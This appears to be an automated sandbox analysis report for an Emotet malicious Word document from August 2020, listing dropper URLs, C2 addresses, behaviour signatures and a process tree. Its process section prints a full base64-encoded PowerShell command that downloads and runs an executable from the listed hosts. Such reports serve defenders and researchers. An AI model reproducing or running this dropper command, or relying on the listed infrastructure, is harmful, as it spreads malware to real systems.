Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    12/08/2020, 21:45

General

  • Target
    emotet_e3_1991553187b0372fca69266e6ac6bcccb9d89d20bbfd8b88f4c047f23ca8bf8a_2020-08-12__214410._doc.doc
  • Size 229KB
  • Sample200812-23bgrkrh76
  • SHA256 1991553187b0372fca69266e6ac6bcccb9d89d20bbfd8b88f4c047f23ca8bf8a
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    https://www.agenciaeureka.com.br/assinaturas/jXLI/

  • exe.dropper

    http://www.bap-host.com/COPYRIGHT/ehtw3u2zpwx97815/

  • exe.dropper

    http://ora-ks.com/BACKUPS/M8hgn2sqa0eqm076/

  • exe.dropper

    http://michaelsteinfeld.com/cgi-bin/hkXmR/

  • exe.dropper

    https://pwiic.com/Cache/multipharma.pwiic.loc/MpzUrA/

Extracted

Family
  • emotet

C2
  • 176.216.226.44:80

  • 159.203.232.29:8080

  • 185.86.148.68:443

  • 87.106.231.60:8080

  • 113.161.148.81:80

  • 78.189.60.109:443

  • 192.163.221.191:8080

  • 31.146.61.34:80

  • 37.70.131.107:80

  • 153.220.182.49:80

  • 177.144.130.105:443

  • 181.167.35.84:80

  • 202.5.47.71:80

  • 192.241.220.183:8080

  • 78.188.170.128:80

  • 182.176.95.147:80

  • 87.252.100.28:80

  • 115.78.11.155:80

  • 212.156.133.218:80

  • 203.153.216.178:7080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_1991553187b0372fca69266e6ac6bcccb9d89d20bbfd8b88f4c047f23ca8bf8a_2020-08-12__214410._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3932
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABRAFYASABUAEkAaQB2AHQAPQAnAFMAWQBTAFUAUgBpAGkAYQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAYABDAFUAUgBJAHQAeQBQAFIATwBgAFQAYABPAGMAYABvAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABOAEYAQQBMAEwAaAB4AHAAIAA9ACAAJwAyADQANQAnADsAJABSAEwAQQBSAEwAZgBwAGoAPQAnAFcAVABZAFgATwByAHMAbAAnADsAJABDAFEATwBZAFcAcgBlAHEAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAE4ARgBBAEwATABoAHgAcAArACcALgBlAHgAZQAnADsAJABJAEgARwBDAEQAeABtAHIAPQAnAFMATgBTAEMATABiAHcAeAAnADsAJABUAFYARABBAE8AaQBjAHgAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgAnACsAJwBqAGUAJwArACcAYwB0ACcAKQAgAG4ARQB0AC4AdwBlAGIAYwBMAEkAZQBOAFQAOwAkAFEASABTAFYAQgBhAGMAcAA9ACcAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AYQBnAGUAbgBjAGkAYQBlAHUAcgBlAGsAYQAuAGMAbwBtAC4AYgByAC8AYQBzAHMAaQBuAGEAdAB1AHIAYQBzAC8AagBYAEwASQAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGIAYQBwAC0AaABvAHMAdAAuAGMAbwBtAC8AQwBPAFAAWQBSAEkARwBIAFQALwBlAGgAdAB3ADMAdQAyAHoAcAB3AHgAOQA3ADgAMQA1AC8AKgBoAHQAdABwADoALwAvAG8AcgBhAC0AawBzAC4AYwBvAG0ALwBCAEEAQwBLAFUAUABTAC8ATQA4AGgAZwBuADIAcwBxAGEAMABlAHEAbQAwADcANgAvACoAaAB0AHQAcAA6AC8ALwBtAGkAYwBoAGEAZQBsAHMAdABlAGkAbgBmAGUAbABkAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AaABrAFgAbQBSAC8AKgBoAHQAdABwAHMAOgAvAC8AcAB3AGkAaQBjAC4AYwBvAG0ALwBDAGEAYwBoAGUALwBtAHUAbAB0AGkAcABoAGEAcgBtAGEALgBwAHcAaQBpAGMALgBsAG8AYwAvAE0AcAB6AFUAcgBBAC8AJwAuACIAUwBQAGwAYABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABQAEQAVgBOAFQAeQBiAHcAPQAnAFUAQQBFAEQAWQB4AHEAcwAnADsAZgBvAHIAZQBhAGMAaAAoACQASABGAEYAVgBEAGkAaQBnACAAaQBuACAAJABRAEgAUwBWAEIAYQBjAHAAKQB7AHQAcgB5AHsAJABUAFYARABBAE8AaQBjAHgALgAiAEQATwB3AG4ATABvAGAAQQBEAGYAYABpAGAATABlACIAKAAkAEgARgBGAFYARABpAGkAZwAsACAAJABDAFEATwBZAFcAcgBlAHEAKQA7ACQAVQBPAEkARABGAHQAZAB4AD0AJwBDAFUASQBXAEIAcQBsAGQAJwA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABDAFEATwBZAFcAcgBlAHEAKQAuACIAbABlAGAATgBnAHQASAAiACAALQBnAGUAIAAyADUAOAA1ADgAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAEMAYABSAGUAYQBgAFQARQAiACgAJABDAFEATwBZAFcAcgBlAHEAKQA7ACQAVQBPAEgAQgBHAHcAcwByAD0AJwBPAE8AVgBMAFMAZABiAGkAJwA7AGIAcgBlAGEAawA7ACQATQBZAEIASwBXAGMAeQBjAD0AJwBYAFoATgBSAFYAcAB1AHgAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATgBOAEIARwBOAGMAZgBpAD0AJwBIAEkAUABUAFoAaQBuAHIAJwA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1772
  • C:\Users\Admin\245.exe
    C:\Users\Admin\245.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:808
    • C:\Windows\SysWOW64\oleaut32\KBDTUQ.exe
      "C:\Windows\SysWOW64\oleaut32\KBDTUQ.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:3124

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/808-13-0x0000000000680000-0x000000000068C000-memory.dmp

        memory/1772-8-0x00007FF9209B0000-0x00007FF92139C000-memory.dmp

        memory/1772-9-0x00000269BD030000-0x00000269BD031000-memory.dmp

        memory/1772-10-0x00000269D56E0000-0x00000269D56E1000-memory.dmp

        memory/3124-16-0x0000000000710000-0x000000000071C000-memory.dmp

        memory/3932-5-0x000001FCB8B90000-0x000001FCB8B95000-memory.dmp

        memory/3932-6-0x000001FCB8B90000-0x000001FCB8B95000-memory.dmp

        memory/3932-7-0x000001FCB8B95000-0x000001FCB8B9A000-memory.dmp

        memory/3932-0-0x00007FF928CB0000-0x00007FF929376000-memory.dmp

        memory/3932-4-0x000001FCB8B95000-0x000001FCB8B9A000-memory.dmp

        memory/3932-3-0x000001FCB8B95000-0x000001FCB8B9A000-memory.dmp

        memory/3932-2-0x000001FCB898C000-0x000001FCB8991000-memory.dmp

        memory/3932-1-0x000001FCB898C000-0x000001FCB8991000-memory.dmp